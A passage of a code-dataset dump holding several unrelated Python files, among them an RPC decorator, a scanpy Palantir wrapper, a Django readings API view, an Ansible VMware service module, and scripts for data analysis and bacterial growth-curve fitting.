WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n\nimport PathHelper as PH\nPH.addPathes('../')\n\nfrom MarsLog.LogManager import LogManager\nfrom RpcArgument import ConvertError, RpcArgument, Avatar, MailBox\nfrom EntityManager import EntityManager\n\nMARS_RPC_CLIENT = 0 # client => server\nMARS_RPC_SERVER = 1 # server => server\nMARS_RPC_CS_ALL = 2 # client/server => server\nMARS_RPC_CLIENT_STUB = 3 # server => client\n\n_logger = LogManager.getLogger('Utils.RpcDecorator')\n\nclass RpcMethod(object):\n def __init__(self, func, rpcType, argTypes, pub):\n super(RpcMethod, self).__init__()\n self.func = func\n self.rpcType = rpcType\n self.argTypes = argTypes\n self.pub = pub\n\n def call(self, entity, placeHolder, paramters):\n if not isinstance(paramters, dict):\n _logger.warn('call: paramter decode failed in RPC %s(%s)', self.func.__name__, str(self.argTypes))\n return\n args = []\n first = True\n\n autoParameters = paramters.get('_')\n if autoParameters:\n paramters = autoParameters\n if self.argTypes:\n paramters = autoParameters[0]\n else:\n return self.func(entity, *autoParameters)\n\n for argType in self.argTypes:\n if first:\n first = False\n if isinstance(argType, Avatar):\n avatar = EntityManager.getEntity(placeHolder)\n args.append(avatar)\n continue\n elif isinstance(argType, MailBox):\n args.append(placeHolder)\n continue\n\n try:\n arg = paramters[argType.getName()]\n except KeyError:\n _logger.warn('call: paramter %s not found in RPC %s, use default value', argType.getName(), self.func.__name__)\n arg = argType.defaultValue()\n\n try:\n if arg == None and argType.getType() == 'Uuid':\n arg = None\n else:\n arg = argType.convert(arg)\n except ConvertError as e:\n _logger.error('call: paramter %s cannot convert input %s for RPC %s exception %s', argType.getName(), str(arg), self.func.__name__, str(e))\n return\n args.append(arg)\n\n return self.func(entity, *args)\n\ndef rpcMethod(rpcType, argTypes=(), pub=True):\n assert rpcType in (MARS_RPC_CLIENT, MARS_RPC_SERVER, MARS_RPC_CS_ALL, MARS_RPC_CLIENT_STUB), 'type must be one of (MARS_RPC_CLIENT, MARS_RPC_SERVER, MARS_RPC_CS_ALL, MARS_RPC_CLIENT_STUB)'\n assert pub in (True, False), 'pub must be True or False'\n\n for argType in argTypes:\n assert isinstance(argType, RpcArgument), '[%s] args type error' % str(argType)\n\n def rpcMethodWrapper(func):\n method = RpcMethod(func, rpcType, argTypes, pub)\n def callRpcMethod(self, *args):\n funcForReload = func\n if rpcType == MARS_RPC_CLIENT_STUB:\n return method.call(self, None, *args)\n else:\n return method.call(self, *args)\n callRpcMethod.rpcMethod = method\n return callRpcMethod\n return rpcMethodWrapper\n\ndef exposeToClient(method):\n try:\n rpcType = method.rpcMethod.rpcType\n if rpcType == MARS_RPC_CLIENT or rpcType == MARS_RPC_CS_ALL:\n return True\n return False\n except AttributeError:\n return False\n\ndef exposeToServer(method):\n try:\n rpcType = method.rpcMethod.rpcType\n if rpcType == MARS_RPC_SERVER or rpcType == MARS_RPC_CS_ALL:\n return True\n return False\n except AttributeError:\n return False\n","sub_path":"server/Mars/Utils/RpcDecorator.py","file_name":"RpcDecorator.py","file_ext":"py","file_size_in_byte":5049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"273090721","text":"\"\"\"Run Diffusion maps using the adaptive anisotropic kernel\n\"\"\"\n\nfrom anndata import AnnData\nfrom scanpy import logging as logg\n\n\ndef palantir(adata: AnnData):\n \"\"\"\n Run Diffusion maps using the adaptive anisotropic kernel [Setty18]_.\n\n Palantir is an algorithm to align cells along differentiation trajectories.\n Palantir models differentiation as a stochastic process where stem cells\n differentiate to terminally differentiated cells by a series of steps through\n a low dimensional phenotypic manifold. Palantir effectively captures the\n continuity in cell states and the stochasticity in cell fate determination.\n Palantir has been designed to work with multidimensional single cell data\n from diverse technologies such as Mass cytometry and single cell RNA-seq.\n\n .. note::\n More information and bug reports `here `__.\n\n Parameters\n ----------\n adata\n An AnnData object, or Dataframe of cells X genes.\n\n Returns\n -------\n `.uns['palantir_norm_data']`\n A `data_df` copy of adata if normalized\n\n `pca_results`\n PCA projections and explained variance ratio of adata:\n - `.uns['palantir_pca_results']['pca_projections']`\n - `.uns['palantir_pca_results']['variance_ratio']`\n\n `dm_res`\n Diffusion components, corresponding eigen values and diffusion operator:\n - `.uns['palantir_diff_maps']['EigenVectors']`\n - `.uns['palantir_diff_maps']['EigenValues']`\n - `.uns['palantir_diff_maps']['T']`\n\n `.uns['palantir_ms_data']`\n The `ms_data` - Multi scale data matrix\n\n `.uns['palantir_tsne']` : `tsne`\n tSNE on diffusion maps\n\n `.uns['palantir_imp_df']` : `imp_df`\n Imputed data matrix (MAGIC imputation)\n\n Example\n -------\n\n >>> import scanpy.external as sce\n >>> import scanpy as sc\n\n A sample data is available `here `_.\n\n To view the plots, it is recommended to run Jupyter notebook\n\n *Load sample data*\n\n >>> adata = sc.read_csv(filename=\"Palantir/data/marrow_sample_scseq_counts.csv.gz\")\n\n **Pre-processing**\n\n The provided adata will be used as input to the embedded `palantir` methods:\n\n >>> d = sce.tl.palantir( adata=adata )\n\n At this point, a new class object, `d`, will be instantiated. If the data\n needs pre-processing - filtering low genes/cells counts, or normalization,\n or log transformation, set the `filter_low`, `normalize`, or `log_transform`\n to `True`:\n\n >>> d.filter_low = True\n >>> d.normalize = True\n >>> d.log_transform = True\n\n The created object `d.palantir` can be used to override the default\n parameters used for pre-processing.\n\n Follow the next step to pass the data to palantir methods, to generate the\n return objects listed above.\n\n **Run Palantir**\n\n >>> d.process()\n\n By calling this method `palantir` will run and generate the various outputs.\n The generated objects will be pushed to `adata` and stored for further use.\n Once instantiated, *Principal component analysis*, *Diffusion maps*,\n *tSNE on Diffusion maps*, and *MAGIC imputation* data objects will be created\n using the `palantir` default parameters.\n\n If running `palantir` using default parameters is not satisfactory,\n `d.palantir` methods can be used to override and substitute the individual\n outputs already embedded into `adata`.\n\n **Plotting**\n\n *tSNE visualization*\n\n >>> fig, ax = d.palantir.plot.plot_tsne(d.tsne)\n >>> fig, ax = d.palantir.plot.plot_tsne_by_cell_sizes(d.data_df, d.tsne)\n\n *Gene expression can be visualized on tSNE maps*\n\n >>> d.palantir.plot.plot_gene_expression(d.imp_df, d.tsne, ['CD34', 'MPO', 'GATA1', 'IRF8'])\n\n *Diffusion maps*\n\n >>> d.palantir.plot.plot_diffusion_components(d.tsne, d.dm_res)\n\n **Visualizing Palantir results**\n\n Palantir can be run by specifying an approximate early cell. While Palantir\n automatically determines the terminal states, they can also be specified using the\n `termine_states` parameter.\n\n >>> start_cell = 'Run5_164698952452459'\n >>> pr_res = d.palantir.core.run_palantir(d.ms_data, start_cell, num_waypoints=500)\n >>> palantir.plot.plot_palantir_results(pr_res, d.tsne)\n\n - note that a `start_cell` must be defined for every data set. The start cell for\n this dataset was chosen based on high expression of CD34.\n\n For further demonstration of palantir visualizations please follow this notebook\n `Palantir_sample_notebook.ipynb `_.\n It provides a comprehensive guide to draw *gene expression trends*, amongst other things.\n\n \"\"\"\n\n logg.info('Palantir diffusion maps', r=True)\n\n class _wrapper_cls(object):\n \"\"\"\n A wrapper class to instantiate a new object that wraps `palantir` as an\n attribute reference attached to the class, together with other attribute\n references. The class uses instance variables, to preprocess and generate\n data using the embedded palantir package.\n Pre-processing of data is important step before start using the palantir\n methods.\n palantir accepts as input a Counts matrix: Cells x Genes.\n\n Methods used are:\n - instantiation initiation\n - instance function to embed palantir\n - pre-processing of input data\n \"\"\"\n\n def __init__(self ,\n adata,\n func=None ,\n normalize = False,\n log_transform = False,\n filter_low = False\n ):\n \"\"\"\n Parameters\n ----------\n adata : AnnData, or Dataframe of cells X genes\n func : function wrapper to import palantir (not to be used)\n normalize : `bool` (default: `False`)\n property setter passed to palantir to normalize using palantir method\n `palantir.preprocess.normalize_counts`.\n log_transform : `bool` (default: `False`)\n property setter passed to palantir. Some datasets show better signal in the log\n scale. Applied using `palantir.preprocess.log_transform`\n filter_low : `bool` (default: `False`)\n property setter passed to palantir to remove low molecule count cells and low detection genes\n \"\"\"\n\n # instantiate variables\n self.func = func\n self.adata = adata\n self._normalize = normalize\n self._log_transform = log_transform\n self._filter_low = filter_low\n\n try:\n # for AnnData\n self.data_df = self.adata.to_df()\n except AttributeError:\n # assume the data is a cell X genes Dataframe\n logg.info('Assuming the data is a cell X genes Dataframe',\n \t r=True)\n\n # load palantir\n self.__call__()\n logg.info('palantir loaded ...', r=True)\n\n def __call__(self):\n \"\"\"\n Call for function to import palantir and instantiate it as a class\n attribute\n \"\"\"\n self.palantir = self.func()\n\n def process(self):\n\n \"\"\"\n A method to run `palantir` on input Data Frame\n \"\"\"\n\n # Principal component analysis\n logg.info('PCA in progress ...', r=True)\n\n self.pca_projections, self.var_r = self.palantir.utils.run_pca(self.data_df)\n\n adata.uns['palantir_pca_results'] = {}\n adata.uns['palantir_pca_results']['pca_projections'] = self.pca_projections\n adata.uns['palantir_pca_results']['variance_ratio'] = self.var_r\n\n # Diffusion maps\n logg.info('Diffusion maps in progress ...', r=True)\n\n self.dm_res = self.palantir.utils.run_diffusion_maps(self.pca_projections)\n self.ms_data = self.palantir.utils.determine_multiscale_space(self.dm_res)\n\n adata.uns['palantir_diff_maps'] = self.dm_res\n adata.uns['palantir_ms_data'] = self.ms_data\n\n # tSNE visualization\n logg.info('tSNE in progress ...', r=True)\n\n self.tsne = self.palantir.utils.run_tsne(self.ms_data)\n\n adata.uns['palantir_tsne'] = self.tsne\n\n # MAGIC imputation\n logg.info('imputation in progress ...', r=True)\n\n self.imp_df = self.palantir.utils.run_magic_imputation(self.data_df, self.dm_res)\n\n adata.uns['palantir_imp_df'] = self.imp_df\n\n logg.info('End of processing, start plotting.', r=True)\n\n @property\n def normalize(self):\n return self._normalize\n @normalize.setter\n def normalize(self , value):\n if value is True:\n self.data_df = self.palantir.preprocess.normalize_counts(self.data_df)\n adata.uns['palantir_norm_data'] = self.data_df\n logg.info('data normalized ...', r=True)\n\n @property\n def log_transform(self):\n return self._log_transform\n @log_transform.setter\n def log_transform(self , value):\n if value is True:\n self.data_df = self.palantir.preprocess.log_transform(self.data_df)\n adata.uns['palantir_norm_data'] = self.data_df\n logg.info('data log transformed ...', r=True)\n\n @property\n def filter_low(self):\n return self._filter_low\n @filter_low.setter\n def filter_low(self , value):\n if value is True:\n self.data_df = self.palantir.preprocess.filter_counts_data(self.data_df)\n adata.uns['palantir_norm_data'] = self.data_df\n logg.info('data filtered for low counts:\\n\\t' +\\\n 'cell_min_molecules=1000\\n\\tgenes_min_cells=10',\n r=True)\n\n\n def wrapper_cls(adata, func=None):\n \"\"\"\n Class wrapper to pass a function to the class alongside positional argument\n \"\"\"\n if func:\n return _wrapper_cls(func)\n else:\n def wrapper(func):\n return _wrapper_cls(adata, func)\n return wrapper\n\n # import palantir and wrap it in a function passed to the wrapper class\n # this method allows passing positional argument of adata to `_wrapper_cls`\n @wrapper_cls(adata)\n def _run():\n import importlib\n try:\n palantir = importlib.import_module('palantir')\n except ImportError:\n raise ImportError(\n '\\nplease install palantir: \\n\\n\\t'\n 'git clone git://github.com/dpeerlab/Palantir.git\\n\\t'\n 'cd Palantir\\n\\t'\n 'sudo -H pip3 install .\\n')\n return palantir\n return _run\n","sub_path":"scanpy/external/_tools/_palantir.py","file_name":"_palantir.py","file_ext":"py","file_size_in_byte":11016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"231106554","text":"#!/usr/bin/env python\n# -*- coding: utf-8\n\n\"\"\"Singleton configuration for k8s client\"\"\"\n\napi_server = \"https://kubernetes.default.svc.cluster.local\"\napi_token = \"\"\ncert = None\nverify_ssl = True\ndebug = False\ntimeout = 20\n","sub_path":"k8s/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"303839786","text":"# Author: Paul Bucci\nimport requests\nwith open('resolved_duplicates_transcript_links.txt') as f:\n\tlinks = [x.strip() for x in f.readlines()]\n\n\nprint(\"There are \" + str(len(links)) + \" to parse here today.\")\ncount = 0\nfor link in links:\n\tif link[-1] == '/':\n\t\tlink = link[:-1]\n\tcount += 1\n\tprint(\"[\" + str(count) + \"] Getting \" + link)\n\t\n\tsp = link.split('/')\n\turi = '-'.join([sp[-4],sp[-3],sp[-2],sp[-1]])\n\tout = open('./pages/' + uri + '.txt', 'w+')\n\t\n\tpage = requests.get(link)\n\tout.write(page.content)\n\t\n\tout.close()\n\t\n\tprint(\"Done.\\n\")","sub_path":"data/python/get_and_clean_pages/get_page.py","file_name":"get_page.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"69044095","text":"from django.contrib.auth.models import User\nfrom django.utils.datetime_safe import datetime\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework_jwt.settings import api_settings\nfrom rest_framework.response import Response\nfrom rest_framework import status, permissions\nfrom django.core.mail import send_mail\nfrom everion import settings\nfrom django.db.models import Q\n\n\nfrom plot.serializers import ReadingSerializer\nfrom plot.models import Reading\n\n\n@api_view(['GET', 'POST'])\n@method_decorator(csrf_exempt, name='dispatch')\ndef reading_list(request,id):\n user = request.user\n #if user is None:\n # return Response({\"detail\": \"Необходима авторизация\"})\n\n if request.method == 'GET':\n for_output = []\n #print(\"Request\",request.GET[\"date_from\"])\n if \"date_from\" not in request.GET or \\\n \"date_to\" not in request.GET or \\\n \"time_from\" not in request.GET or \\\n \"time_to\" not in request.GET:\n readings = Reading.objects.filter(patient_id=id).order_by('time_iso')\n else:\n filter_from = request.GET[\"date_from\"] + \"T\" + request.GET[\"time_from\"]\n filter_to = request.GET[\"date_to\"] + \"T\" + request.GET[\"time_to\"]\n readings = Reading.objects.filter(patient_id=id). \\\n filter(time_iso__gte=filter_from). \\\n filter(time_iso__lte=filter_to).order_by('time_iso')\n skip = len(readings) // 100\n i = 0\n sum_steps = 0\n sum_activity = 0\n length = len(readings)\n for reading in readings:\n i += 1\n if skip == 0 or i % skip == 0 or i == length:\n reading.value_steps += sum_steps\n reading.value_activity += sum_activity\n for_output.append(reading)\n sum_steps = 0\n sum_activity = 0\n else:\n sum_steps += reading.value_steps\n sum_activity += reading.value_activity\n\n serializer = ReadingSerializer(for_output, many=True, context={\"request\": request})\n return Response(serializer.data)\n\n if request.method == 'POST':\n serializer = ReadingSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n","sub_path":"everion/plot/views_rest_reading.py","file_name":"views_rest_reading.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"553232582","text":"#!/usr/bin/python\n\n# (c) 2017, Jasper Lievisse Adriaanse \n#\n# This file is part of Ansible\n#\n# Ansible is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Ansible is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Ansible. If not, see .\n\nANSIBLE_METADATA = {'metadata_version': '1.0',\n 'status': ['preview'],\n 'supported_by': 'community'}\n\n\nDOCUMENTATION = '''\n---\nmodule: vmware_service\nshort_description: Manage VMware ESXi services\ndescription:\n - Manage VMware ESXi hypervisor services state and policy.\nversion_added: 2.4\nauthor: Jasper Lievisse Adriaanse (@jasperla)\nnotes:\n - Tested on vSphere 6.5\nrequirements:\n - \"python >= 2.6\"\n - PyVmomi\noptions:\n name:\n required: true\n aliases: [service]\n description:\n - Name of the service as indicated by the 'label'.\n state:\n required: true\n description:\n - State of the service.\n choices: [ running, stopped, restarted ]\n default: running\n policy:\n required: true\n aliases: [enabled]\n description:\n - Policy for the service to determine if the service needs to be started\n at boot (C(on)/C(off)) or wether it should be started iff it has open\n firewall ports.\n choices: [ on, off, automatic ]\n default: on\n'''\n\nEXAMPLES = '''\n# Example vmware_service command from Ansible Playbooks\n- name: Manage ESXi ssh service\n local_action:\n module: vmware_option\n hostname: esxi_hostname\n username: root\n password: your_password\n name: 'TSM-SSH'\n state: running\n policy: automatic\n'''\ntry:\n from pyVmomi import vim, vmodl\n HAS_PYVMOMI = True\nexcept ImportError:\n HAS_PYVMOMI = False\n\n\ndef manage_service(module, host_system, name, state, policy):\n changed = False\n\n host_config_manager = host_system.configManager\n host_service_system = host_config_manager.serviceSystem\n services = host_service_system.serviceInfo.service\n\n # Make sure the service exists by the given name\n service_lst = [s for s in services if s.key == name]\n\n if len(service_lst) < 1:\n module.fail_json(msg='Could not find service {0} to manage'.format(name))\n\n service = service_lst[0]\n\n # First manage the service state\n if state == 'restarted':\n host_service_system.RestartService(name)\n changed = True\n elif state == 'running' and not service.running:\n host_service_system.StartService(name)\n changed = True\n elif state == 'stopped' and service.running:\n host_service_system.StopService(name)\n changed = True\n\n # Determine if the service needs to be started at boot.\n if policy != service.policy:\n host_service_system.UpdateServicePolicy(name, policy)\n changed = True\n\n return changed\n\n\ndef main():\n\n argument_spec = vmware_argument_spec()\n argument_spec.update(dict(name=dict(aliases=['service'], required=True, type='str'),\n state=dict(default='running', choices=['running', 'stopped', 'restarted'], type='str'),\n policy=dict(default='on', aliases=['enabled'], choices=['on', 'off', 'automatic'], type='str')))\n\n module = AnsibleModule(argument_spec=argument_spec, supports_check_mode=False)\n\n name = module.params['name']\n state = module.params['state']\n policy = module.params['policy']\n\n if not HAS_PYVMOMI:\n module.fail_json(msg='pyvmomi is required for this module')\n\n try:\n content = connect_to_api(module)\n host = get_all_objs(content, [vim.HostSystem])\n if not host:\n module.fail_json(msg=\"Unable to locate Physical Host.\")\n host_system = host.keys()[0]\n changed = manage_service(module, host_system, name, state, policy)\n module.exit_json(changed=changed)\n except vmodl.RuntimeFault as runtime_fault:\n module.fail_json(msg=runtime_fault.msg)\n except vmodl.MethodFault as method_fault:\n module.fail_json(msg=method_fault.msg)\n except Exception as e:\n module.fail_json(msg=str(e))\n\n\nfrom ansible.module_utils.vmware import *\nfrom ansible.module_utils.basic import *\n\nif __name__ == '__main__':\n main()\n","sub_path":"vmware_service.py","file_name":"vmware_service.py","file_ext":"py","file_size_in_byte":4655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"189545974","text":"import numpy as np\nimport pandas as pd\nfrom sklearn import ensemble\nfrom sklearn import preprocessing\n\n\ndef convert_date(df):\n df['year'] = df['Original_Quote_Date'].apply(lambda x: x[0:4]).astype('int')\n df['month'] = df['Original_Quote_Date'].apply(lambda x: x[5:7]).astype('int')\n df['day'] = df['Original_Quote_Date'].apply(lambda x: x[8:]).astype('int')\n\n\ndef convert_field10(df):\n df['Field10'] = df['Field10'].apply(lambda x: str(x).replace(',', '')).astype('int')\n\n\ndef fill_PersonalField84(df):\n df.loc[df['PersonalField84'].isnull(), 'PersonalField84'] = 2\n\n\ndef fill_PropertyField29(df):\n df.loc[df['PropertyField29'].isnull(), 'PropertyField29'] = df['PropertyField29'].mean()\n\n\ndef beat_over_fitting(selected_feature):\n f = open('data/feature_importance.txt', 'r')\n sample_size = 0\n for line in f:\n sample_size += 1\n selected_feature.append(line.strip())\n return selected_feature\n\n\nif __name__ == '__main__':\n train_file = 'data/train.csv'\n test_file = 'data/test.csv'\n train = pd.read_csv(train_file)\n test = pd.read_csv(test_file)\n\n dtype = train.dtypes\n not_number = []\n for i, k in enumerate(train.keys()):\n if (str(dtype[i]) != 'float64') & (str(dtype[i]) != 'int64'):\n not_number.append(k)\n\n not_number.pop(not_number.index('Original_Quote_Date'))\n not_number.pop(not_number.index('Field10'))\n\n for k in not_number:\n lbl = preprocessing.LabelEncoder()\n lbl.fit(np.unique(list(train[k].values) + list(test[k].values)))\n train[k] = lbl.transform(list(train[k].values))\n test[k] = lbl.transform(list(test[k].values))\n\n convert_date(train)\n convert_field10(train)\n convert_date(test)\n convert_field10(test)\n y = train['QuoteConversion_Flag']\n x = train.select_dtypes(include=['int16', 'int32', 'int64', 'float16', 'float32', 'float64'])\n xt = test.select_dtypes(include=['int16', 'int32', 'int64', 'float16', 'float32', 'float64'])\n x = x.drop('QuoteConversion_Flag', axis=1)\n\n fill_PersonalField84(x)\n fill_PersonalField84(xt)\n fill_PropertyField29(x)\n fill_PropertyField29(xt)\n\n #selected_feature = beat_over_fitting([])\n #x = x[selected_feature[0:23]]\n #xt = xt[selected_feature[0:23]]\n\n # forest = RandomForestClassifier(n_estimators=300)\n # forest = forest.fit(np.array(x), np.array(y))\n # yhat = forest.predict_proba(np.array(xt))[:, 1]\n\n params = {'n_estimators': 1000, 'max_leaf_nodes': 4, 'max_depth': None, 'random_state': 2,\n 'min_samples_split': 5, 'learning_rate': 0.1, 'subsample': 0.5}\n gb = ensemble.GradientBoostingClassifier(**params)\n gb.fit(x, y)\n\n yhat = gb.predict_proba(xt)\n\n result_data = {'QuoteNumber': xt['QuoteNumber'], 'QuoteConversion_Flag': yhat[:, 1]}\n result = pd.DataFrame(result_data, columns=('QuoteNumber', 'QuoteConversion_Flag'))\n\n result.to_csv('data/result.csv', index=False)\n","sub_path":"HQC.py","file_name":"HQC.py","file_ext":"py","file_size_in_byte":2940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"192436580","text":"# GrowthCurve.py\n# Bacteria growth curve class to extract parameters\n# Use with Phenotype MicroArray analysis pipeline\n#\n# Author: Daniel A Cuevas\n# Created on 21 Nov. 2013\n# Updated on 16 Jan. 2015\n\n\nfrom __future__ import absolute_import, division, print_function\nimport pylab as py\nimport scipy.optimize as optimize\nimport sys\n\n\nclass GrowthCurve:\n '''Bacteria growth curve class'''\n def __init__(self, data, time):\n # data format: numpy array if OD values\n\n self.rawcurve = data # OD data values (replicates implied)\n self.time = time # time values\n self.y0 = self.rawcurve[1]\n self.asymptote = self.__calcAsymptote()\n self.maxGrowthRate, self.mgrTime = self.__calcMGR()\n self.asymptote, self.maxGrowthRate, self.lag = self.__calcParameters(\n (self.asymptote, self.maxGrowthRate, 0.5), self.time, self.rawcurve)\n\n self.dataLogistic = logistic(self.time, self.y0,\n self.asymptote, self.maxGrowthRate, self.lag)\n self.growthLevel = calcGrowth(self.dataLogistic, self.asymptote)\n self.sse = sum((self.dataLogistic - self.rawcurve) ** 2)\n\n def __calcParameters(self, y0, t, raw):\n '''Perform curve-fitting optimization to obtain parameters'''\n try:\n results = optimize.minimize(self.__logisticSSE, y0, args=(t, raw),\n bounds=((0.01, y0[0]),\n (0, None),\n (0, None)))\n except RuntimeError as e:\n print(e)\n print(self.rawcurve)\n sys.exit(1)\n\n return results.x\n\n def __logisticSSE(self, params, t, y):\n a, mgr, l = params\n return py.sum((logistic(t, self.y0, a, mgr, l) - y) ** 2)\n\n def __calcAsymptote(self):\n '''Obtain the initial guess of the highest OD reading'''\n # Calculate asymptote using a sliding window of 3 data points\n stop = len(self.time) - 3\n maxA = -1\n for idx in range(1, stop):\n av = py.mean(self.rawcurve[idx:idx + 3])\n if av > maxA:\n maxA = av\n return maxA\n\n def __calcMGR(self):\n '''Obtain the initial guess of the max growth'''\n # Calculate max growth rate using a sliding window of 4 data points\n stop = len(self.time) - 4\n maxGR = 0\n t = 0\n for idx in range(1, stop):\n\n # Growth rate calculation:\n # (log(i+3) - log(i)) / (time(i+3) - time(i))\n gr = ((py.log(self.rawcurve[idx + 3]) - py.log(self.rawcurve[idx])) /\n (self.time[idx + 3] - self.time[idx]))\n if idx == 1 or gr > maxGR:\n maxGR = gr\n t = self.time[idx + 2] # Midpoint time value\n\n return maxGR, t\n\n\ndef calcGrowth(logistic, asym):\n '''Calculate growth level using an adjusted harmonic mean\n using a logistic model and its asymptote'''\n return len(logistic) / py.sum((1 / (logistic + asym)))\n\n\ndef growthClass(gLevel):\n '''Determine growth class based on growth level'''\n if gLevel >= 0.75:\n return '+++'\n elif gLevel >= 0.50:\n return '++'\n elif gLevel >= 0.35:\n return '+'\n elif gLevel >= 0.25:\n return '-'\n else:\n return '--'\n\n\ndef logistic(t, y0, a, mgr, l):\n '''Logistic modeling'''\n startOD = y0\n exponent = ((mgr / a) * (l - t)) + 2\n lg = startOD + ((a - startOD) /\n (1 + py.exp(exponent)))\n return lg\n","sub_path":"py/GrowthCurve.py","file_name":"GrowthCurve.py","file_ext":"py","file_size_in_byte":3563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"91989324","text":"import shutil\nimport sys\nimport os\nfrom os.path import join as _join\nfrom os.path import exists as _exists\n\nfrom glob import glob\n\nimport subprocess\n#from wepppy.all_your_base import ogrmerge\n\nos.chdir('/geodata/weppcloud_runs/')\n\nif __name__ == \"__main__\":\n import sys\n\n outdir = '/workdir/wepppy/wepppy/weppcloud/static/mods/seattle/results/'\n\n scenarios = [\n 'CurCond.202009.cl532.chn_cs',\n 'CurCond.202009.cl532_gridmet.chn_cs',\n 'CurCond.202009.cl532_future.chn_cs',\n 'SimFire_Eagle.202009.cl532.chn_cs',\n 'SimFire_Norse.202009.cl532.chn_cs',\n 'PrescFireS.202009.chn_cs',\n 'LowSevS.202009.chn_cs',\n 'ModSevS.202009.chn_cs',\n 'HighSevS.202009.chn_cs'\n ]\n\n for prefix in scenarios:\n wds = glob(_join('/geodata/weppcloud_runs', 'seattle_k*{}*'.format(prefix)))\n wds = [wd for wd in wds if os.path.isdir(wd)]\n\n channels = []\n subcatchments = []\n\n for i, wd in enumerate(wds):\n if wd.endswith('.zip'):\n continue\n\n print(wd)\n\n chn = _join(wd, 'export', 'arcmap', 'channels.shp')\n assert _exists(chn), chn\n channels.append(chn)\n\n sub = _join(wd, 'export', 'arcmap', 'subcatchments.shp')\n assert _exists(sub), sub\n subcatchments.append(sub)\n\n print(channels)\n print(sub)\n\n argv = ['python3', 'ogrmerge.py', '-o', '%s/%s_channels.shp' % (outdir, prefix.replace('*','')), '-single'] + channels\n print(argv)\n subprocess.call(argv)\n #ogrmerge.process(argv)\n\n argv = ['python3', 'ogrmerge.py', '-o', '%s/%s_subcatchments.shp' % (outdir, prefix.replace('*','')), '-single'] + subcatchments\n print(argv)\n subprocess.call(argv)\n\n #ogrmerge.process(argv)\n\n\n print('merged shps are in', outdir)\n","sub_path":"wepppy/_scripts/seattle_merge_arc_exports.py","file_name":"seattle_merge_arc_exports.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"166770564","text":"import os, sys\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom numpy import loadtxt\nimport pandas as pd\nimport scipy\nimport sklearn\nfrom sklearn import preprocessing\nfrom sklearn import cross_validation\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import LabelEncoder\n\n# Open data and define columns\ndata = pd.read_csv('dac_sample.txt', sep=\"\\t\", header = None,\n names = [\"Label\", \"I1\", \"I2\", \"I3\", \"I4\", \"I5\", \"I6\", \"I7\", \"I8\", \"I9\", \"I10\", \"I11\", \"I12\", \"I13\",\n \"C1\", \"C2\", \"C3\", \"C4\", \"C5\", \"C6\", \"C7\", \"C8\", \"C9\", \"C10\", \"C11\", \"C12\", \"C13\",\n \"C14\", \"C15\", \"C16\", \"C17\", \"C18\", \"C19\", \"C20\", \"C21\", \"C22\", \"C23\", \"C24\", \"C25\", \"C26\"])\n\nnp.sum(data.isnull())\n\n#\ndata = pd.DataFrame({col: data[col].astype('category').cat.codes for col in data}, index = data.index)\n\ndata[['I1', 'I2', \"I3\", \"I4\", \"I5\", \"I6\", \"I7\", \"I8\", \"I9\", \"I10\", \"I11\", \"I12\", \"I13\"]] = \\\n data[[\"I1\", \"I2\", \"I3\", \"I4\", \"I5\", \"I6\", \"I7\", \"I8\", \"I9\", \"I10\", \"I11\", \"I12\", \"I13\"]].apply(lambda x: pd.to_numeric(x, errors='force'))\n\n# Fill in with missing data\ndata.fillna(data.mean())\n\n# Prepare predictor variables for training/testing sets\npredictors = data.drop('Label', 1)\n\n# Prepare response variables for training/testing sets\nresponse = data['Label']\n\n## Logistic Regression\nfrom sklearn.linear_model import LogisticRegression\n# Create training/testing samples for predictors/response variables\npredictors_train, predictors_test, response_train, response_test = cross_validation.train_test_split(\n predictors, response, test_size=0.4, random_state=0)\n# Create regression object and Train the model using the training sets\nlr = LogisticRegression().fit(predictors_train, response_train)\n# The coefficients\nprint('Coefficients: \\n', lr.coef_)\n# The intercept\nprint('Coefficients: \\n', lr.intercept_)\n# The mean square error\nprint(\"Residual sum of squares: %.2f\"\n % np.mean((lr.predict(predictors_test) - response_test) ** 2))\n# Explained variance score: 1 is perfect prediction\nprint('Variance score: %.2f' % lr.score(predictors_test, response_test))\n# Cross-Validation Scores\nlr_score = lr.score(predictors_test, response_test)\n\nlr.feature_importances_\n\n## Stochastic Gradient Descent\nfrom sklearn import linear_model\n# Create training/testing samples for predictors/response variables\npredictors_train, predictors_test, response_train, response_test = cross_validation.train_test_split(\n predictors, response, test_size=0.4, random_state=0)\n# Create regression object and Train the model using the training sets\nsgd = linear_model.SGDClassifier (alpha = .5).fit 